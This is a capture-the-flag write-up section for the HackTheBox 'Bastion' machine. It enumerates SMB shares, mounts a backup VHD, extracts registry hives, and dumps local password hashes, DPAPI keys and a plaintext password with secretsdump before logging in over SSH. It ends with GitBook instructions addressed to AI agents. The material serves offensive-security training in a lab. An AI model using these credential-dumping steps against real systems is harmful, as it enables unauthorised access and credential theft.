# 2 :139 :445 smb

```
$ smbclient -L 10.10.10.134
Enter WORKGROUP\kashz's password:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        Backups         Disk
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available

$ smbclient //10.10.10.134/Backups
Enter WORKGROUP\kashz's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat May  8 16:29:34 2021
  ..                                  D        0  Sat May  8 16:29:34 2021
  nmap-test-file                      A      260  Sat May  8 16:29:34 2021
  note.txt                           AR      116  Tue Apr 16 03:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 04:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 04:44:02 2019
```

WindowsImageBackup files contain .vhd files that we should look into Mounting the share

Using <https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25>

```
$ sudo mount -t cifs //10.10.10.134/Backups /mnt/remote -o rw  
[sudo] password for kashz:
Password for root@//10.10.10.134/Backups:

$ cd /mnt/remote

$ ls
nmap-test-file  note.txt  SDT65CB.tmp  WindowsImageBackup

# making /mnt/vhd for one
# NEED TO RUN THIS AS SUDO USER INTERACTIVELY; else didn't work for me. was getting perms error while access the vhd files once mounted.
(as root)$ guestmount --add "/mnt/remote/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" --inspector --ro /mnt/vhd -v

# cp SAM /home/kashz/Desktop/HTB/bastion
# cp SYSTEM /home/kashz/Desktop/HTB/bastion
# cp SECURITY /home/kashz/Desktop/HTB/bastion


$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
(or /usr/share/creddump7/pwdump.py SYSTEM SAM)
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up...


L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
Pass: bureaulampje

$ ssh l4mpje@10.10.10.134
The authenticity of host '10.10.10.134 (10.10.10.134)' can't be established.
ECDSA key fingerprint is SHA256:ILc1g9UC/7j/5b+vXeQ7TIaXLFddAbttU86ZeiM/bNY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.134' (ECDSA) to the list of known hosts.
l4mpje@10.10.10.134's password:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>whoami
bastion\l4mpje
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/hackthebox-writeups/htb-boxes/bastion/2-139-445-smb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.